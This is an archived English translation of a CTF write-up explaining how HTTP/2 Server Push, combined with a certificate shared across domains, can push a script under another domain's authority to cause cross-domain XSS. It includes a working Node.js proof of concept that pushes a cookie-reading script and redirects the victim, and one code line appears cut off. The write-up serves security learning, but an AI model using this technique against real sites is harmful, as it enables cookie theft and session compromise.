A Magic Way of XSS in HTTP/2 (English translation)

A Magic Way of XSS in HTTP/2 - Author not stated, tttang.com.

- Published: date not stated
- Original: <https://tttang.com/archive/1703/>
- Preserved from: https://tttang.com/archive/1703/ (stored) on 2026-08-09
- Capture timestamp: 20221007071028
- Licence: unknown

Content (translated into English)

Machine translation of `tttang-com-magic-way-xss-http-2.md`, which holds the source's own words. Code, payloads, type names, URLs and CVE identifiers were masked before translating and restored after, so they are byte-identical to the original.

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

At corCTF, which ended last weekend, one challenge presented a very interesting attack. This attack can exploit the HTTP/2 Server Push mechanism to perform XSS on other domains. Although the exploitation conditions are somewhat strict, I personally really like this kind of Magic attack. (Shared with everyone after obtaining permission from the original author, @ehhthing.)

[TL;DR]()

When certificates are shared, if we control one of the domains and possess its certificate, we can build an HTTP/2 Server that uses the HTTP/2 Server Push mechanism to cause Global XSS on HTTP/2 sites under other domains sharing the certificate.

Exploitation conditions:

- Shared certificate: both domains must share the same certificate
- HTTP/2: the target Server must support HTTP/2
- Ownership of one domain and its corresponding certificate has been obtained

[HTTP/2 && Server Push]()

The Server Push mechanism is one of the major new features of the HTTP/2 protocol. We can briefly examine the background of HTTP/2 and Server Push and how they work.

[Background]()

HTTP, the Hypertext Transfer Protocol, is the foundation of network data communication. HTTP/1.1 performed well during its lifetime, but as the Web evolved, its protocol design could no longer meet the performance requirements of today's Web applications. Although HTTP/1.1 attempted to introduce mechanisms such as Pipline to optimize concurrency and other issues, it was never able to resolve the degradation in network performance caused by head-of-line blocking, repeatedly sending Headers data, low utilization efficiency of individual TCP connections, and other problems.

HTTP/2 is the first major update to the HTTP protocol since HTTP/1.1 was first published by the IETF in 1997. It made significant improvements over previous versions and introduced many new features and security capabilities, such as a new binary message format, multiplexing, header compression, and server push. The feature we will mainly introduce today is Server Push.

[Browsing in HTTP/1.x]()

First, let us look at the workflow without Server Push. In a typical Web browsing process:

- First, the browser requests the main page index.html from the server, and the server responds with the contents of index.html
- After receiving the main-page response, the browser begins parsing the page's html tags and discovers that resources such as CSS/GIF/JS are still needed to construct the DOM tree
- It sends requests to the server for the CSS/GIF/JS content
- The browser obtains and parses content such as JS and CSS, then continues requesting dependent resources

[image: Pic From https://www.smashingmagazine.com/2017/04/guide-http2-server-push/]

This is the traditional way of requesting a web page, but we can also see some problems with it. For example, today's Web pages require at least two or more rounds of HTTP communication to load completely. If a network problem occurs while requesting a CSS file, or if the file is too large, the page content will become disorganized, greatly diminishing the user experience.

Of course, there are currently some solutions, such as combining external resources into the web page file to reduce HTTP requests—for example, placing images in URIs as Base64—or using the p reload mechanism.

Both methods have drawbacks. Although the first method reduces HTTP requests, it combines different types of code in one file, violating the separation-of-concerns principle. The second method merely brings the download time forward and does not reduce HTTP requests.

[What Server Push is]()

>

HTTP/2 Server Push allows an HTTP/2-compliant server to send resources to an HTTP/2-compliant client before the client requests them. Server Push is a performance technique aimed at reducing latency by loading resources preemptively, even before the client knows they will be needed.

HTTP/2 Server Push is not a notification mechanism from server to client. Instead, pushed resources are used by the client when it may have otherwise produced a request to get the resource anyway.

HTTP/2 Server Push allows an HTTP/2-compliant server to send resources to an HTTP/2-compliant client before the client requests them. Server Push is a performance technique designed to reduce latency by preemptively loading resources, even before the client knows they will be requested.

For example, the browser requests only index.html, but the server sends index.html/style.css/example.png to the browser in their entirety. This allows the browser to obtain all resources in just one round of HTTP communication, thereby improving performance.

However, HTTP/2 Server Push is not a notification mechanism from the server to the client. Instead, the client uses the pushed resource when it might otherwise have already issued a request to retrieve that resource.

[How it works]()

Let us briefly examine the Server Push workflow:

- First, the browser requests the main page index.html from the server, and the server responds with the contents of index.html
- At the same time, the server predicts that the client will need to request static resources such as styles.css; without requiring the client to request styles.css, it subsequently sends the contents of styles.css to the client
- The browser successively obtains content such as index.html/styles.css and completes parsing and constructing the DOM tree

[image: https://www.smashingmagazine.com/2017/04/guide-http2-server-push/]

Of course, the “prediction” described above requires some simple server configuration. For example, if we use Nginx, we need to configure it as follows using `http2_push` in Nginx:

```
server {
    listen 443 ssl http2;
    server_name _;
    ssl_certificate /parth/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    root /var/www/html/;

    http2_push /styles.css;
    location = / {
        index index.html;
    }
}
```

Once the server is prepared for HTTP/2 Push, when it receives a request for index.html, it can "predict" that the client will subsequently request resources such as styless.css. Let us briefly analyze this using network traffic:

- The server receives a HEADERS frame requesting index.html in Stream ID 1. It can "predict" the need for styles.css and pushes styles.css according to the server configuration
- The server again sends a PUSH_PROMISE for styles.css in Stream ID 1; these frames are roughly equivalent to browser requests
- The server sends a HEADERS frame in Stream ID 1 in response to the request for index.html
- The server sends a DATA frame containing index.html, still in Stream ID 1
- The server sends a HEADERS frame in response to styles.css in stream 2 (HEADERS[2]/DATA[2])

[[image: v8xkwV.png]](https://imgtu.com/i/v8xkwV)

We need to place the corresponding loaded resources in index.html to see Chrome display the pushed resources, for example:

```
<head><link rel="icon" href="data:,"><link rel="stylesheet" href="styles.css"></head>
This is push index
```

[Where the bug is]()

Since resources are being pushed, what happens if we load other resources cross-origin? Can this also be achieved through Push? After all, cross-origin requests for resources such as CSS/JS are extremely common on today's Internet, so how should this be handled in HTTP/2 Push?

Among Chinese-language Internet resources, some explicitly say it is not possible, while others say it is. I finally found the answer in the blog post HTTP/2 push is tougher than I thought:

>

As the owners of developers.google.com/web, we could get our server to push a response containing whatever we wanted for android.com, and set it to cache for a year. A simple fetch would be enough to drag that in the HTTP cache. Then, if our visitors went to android.com, they'd see "NATIVE SUX – PWA RULEZ" in large pink comic sans, or whatever we wanted.

Of course, we wouldn't do that, we love Android. I'm just saying... Android: if you mess with the web, we'll fuck you up.

Ok ok, I jest, but the above actually works. You can't push assets for *any origin*, but you can push assets for origins which your connection is "authoritative" for.

If you look at the certificate for developers.google.com, you can see it's authoritative for all sorts of Google origins, including android.com.

Let us return to HTTP/2 RFC 7540#Section-8.2:

>

The server MUST include a value in the ":authority" pseudo-header field for which the server is authoritative (see Section 10.1). A client MUST treat a PUSH_PROMISE for which the server is not authoritative as a stream error (Section 5.4.2) of type PROTOCOL_ERROR.

HTTP/2 relies on the HTTP/1.1 definition of authority for determining whether a server is authoritative in providing a given response (see [RFC7230], Section 9.1). This relies on local name resolution for the "http" URI scheme and the authenticated server identity for the "https" scheme (see [RFC2818], Section 3).

Although the RFC does not explicitly state that cross-origin resources can be Pushed, the `:authority` header must be validated for any Pushed resource. Furthermore, according to the blog post above, although we cannot push resources from any domain, we can push resources from other domains sharing the certificate, provided that `:authority` is configured correctly.

Let's try!

First, we use mkcert to generate a certificate shared by the domains for testing:

```
mkcert -key-file key.pem -cert-file cert.pem a.zedd.ovo b.zedd.ovo
```

Use the following nodejs code to set up an HTTP/2 server:

```
const http2 = require("http2");
const path = require("path");
const fs = require("fs");

const { HTTP2_HEADER_PATH, HTTP2_HEADER_AUTHORITY } = http2.constants;

const MAIL_DOMAIN = "b.zedd.ovo";
const EXPLOIT_DOMAIN = "a.zedd.ovo";

const server = http2.createSecureServer(
  {
    cert: fs.readFileSync(path.join(__dirname, "cert.pem")),
    key: fs.readFileSync(path.join(__dirname, "key.pem")),
    origins: [`https://${EXPLOIT_DOMAIN}`, `https://${MAIL_DOMAIN}`],
  },
  (req, res) => {
    if (req.url === "/") {
      res.end("This is the HTTP/2 Server\n");
    } else if (req.url === "/set") {
      res.setHeader("Set-Cookie", `mycookie=test; domain=${MAIL_DOMAIN}; path=/; expires=${new Date(Date.now()
      res.end("Set cookie: mycookie=test\n");
    } else if (req.url === "/csp") {
      res.setHeader("Content-Security-Policy", "default-src 'self'");
      res.end("Set CSP\n");
    } else if (req.url === "/push") {
      res.stream.pushStream(
        {
          [HTTP2_HEADER_AUTHORITY]: MAIL_DOMAIN,
          [HTTP2_HEADER_PATH]: "/",
        },
        (err, pushStream, headers) => {
          console.log("push");
          pushStream.on("error", console.error);

          let content = "<script>alert(document.cookie);</script>";

          pushStream.respond({
            "content-length": content.length,
            "content-type": "text/html",
          });

          pushStream.end(content);
        }
      );
```

```
        let content = `<meta http-equiv="refresh" content="1;url=https://${MAIL_DOMAIN}/" />`;

        res.stream.respond({
          "content-length": content.length,
          "content-type": "text/html",
        });
        res.stream.end(content);
      }
    }
);

server.listen(443);
```

The key point is that we need to configure the authentication field in `[HTTP2_HEADER_AUTHORITY]: MAIL_DOMAIN` correctly so that it matches a domain covered by the shared certificate.

What we need to do is:

- First, visit https://b.zedd.ovo/set to set the cookie for domain b
- Visit https://a.zedd.ovo/push to have the server Push a resource from domain b
- Get XSSed

[[image: vGEiIs.gif]](https://imgtu.com/i/vGEiIs)

The above is a GIF. If it is not moving, please visit: https://s1.ax1x.com/2022/08/11/vGEiIs.gif

Suppose we have a scenario where we control a.zedd.ovo and possess its certificate, and this domain shares the certificate with b.zedd.ovo. The following then occurs:

- The cookie set through https://b.zedd.ovo/set is restricted by the same-origin policy, so we cannot obtain domain b's cookie from a.zedd.ovo
- When the victim visits https://a.zedd.ovo/push, we use HTTP/2 Push to push a resource from domain b and set a refresh on site a that redirects to site b. At this point, because the victim is on site a, the browser will not load the resource we pushed even without an immediate redirect, because our `:authority` belongs to site b and can only be loaded on site b
- After the victim moves to site b, the browser attempts to load the resource we just pushed, checks elements such as `:authority`, finds that they satisfy the loading requirements for the current domain, loads the script, and completes the attack

[Summary]()

Although this attack looks rather Magic and its advantages naturally need no explanation, careful consideration shows that its limitations are actually fairly substantial:

- CSP can still impose restrictions: Since the executed resource still runs in the context of the attacked page, it will remain subject to any CSP configured on the attacked domain

- Too many prerequisites are required: Requirements such as control over the domain name and certificates are relatively restrictive
- The current state and future of HTTP/2 Server Push:
- HTTP/2 Server Push is currently a client option enabled by default. Whether this option is enabled is determined during handshake negotiation between the client and server. Some CDNs do not support Server Push
- Although the Server Push mechanism looks promising, in practice it often wastes bandwidth because the server rarely knows which resources the client has already loaded and repeatedly transmits the same resources
- Chrome intends to remove default support for HTTP/2 Server Push in the future: Intent to Remove: HTTP/2 and gQUIC server push

Of course, this mechanism can be exploited for more than just XSS, and I think Push may have other problems as well. Unfortunately, my skills are limited, so I do not currently have any further ideas. Everyone is welcome to brainstorm and exchange ideas together~

This CTF primarily used this technique to achieve XSS. Of course, the earlier portion also involved obtaining certificates and so on. That part was not as interesting as the HTTP/2 Push technique, so I will not elaborate on it here. If you are interested in the other CTF challenges, please head over to "Funny Web CTF": https://t.zsxq.com/047y7iAuf

Thanks @ehhthing for his amazing challenges!

[References]()

RFC7540

HTTP/2 push is tougher than I thought

Introduction to HTTP/2

A Comprehensive Guide To HTTP/2 Server Push

HTTP/2 Server Push

HTTP/2 Server Push Tutorial